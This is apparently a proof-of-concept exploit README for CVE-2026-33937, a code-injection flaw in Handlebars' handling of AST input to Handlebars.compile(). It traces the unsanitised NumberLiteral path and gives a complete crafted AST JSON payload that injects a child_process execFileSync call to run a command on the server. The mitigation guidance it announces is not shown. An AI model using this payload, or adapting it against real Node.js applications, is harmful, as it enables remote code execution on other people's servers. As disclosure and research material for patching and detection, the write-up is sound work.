
Proof-of-concept exploit for CVE-2026-33937, a Handlebars AST injection vulnerability leading to remote code execution in Node.js. Demonstrates crafted AST payloads and provides mitigation guidance.
CVE-2026-33937 is a critical Remote Code Execution (RCE) vulnerability in Handlebars caused by unsafe handling of Abstract Syntax Tree (AST) input.
The vulnerability allows attackers to inject arbitrary JavaScript code by supplying a crafted AST object to Handlebars.compile().
Handlebars.compile() accepts both:
When an AST object is provided, the parsing phase is skipped.
Inside:
lib/handlebars/compiler/javascript-compiler.js
The function:
NumberLiteral(number) {
this.pushStackLiteral(number.value);
}
directly inserts number.value into generated JavaScript code without sanitization or escaping, leading to code injection.
Attacker → Crafted AST (JSON)
│
▼
Handlebars.compile()
│
▼
Compiler.compile()
│
▼
JavaScriptCompiler (NumberLiteral injection)
│
▼
Code generation
│
▼
new Function(...) / eval()
│
▼
RCE
{
"type": "Program",
"body": [
{
"type": "MustacheStatement",
"path": {
"type": "PathExpression",
"data": false,
"depth": 0,
"parts": ["lookup"],
"original": "lookup",
"loc": null
},
"params": [
{
"type": "PathExpression",
"data": false,
"depth": 0,
"parts": [],
"original": "this",
"loc": null
},
{
"type": "NumberLiteral",
"value": "{},{})) + process.getBuiltinModule('child_process').execFileSync('id').toString() //",
"original": 1,
"loc": null
}
],
"escaped": true,
"strip": { "open": false, "close": false },
"loc": null
}
],
"strip": {},
"loc": null
}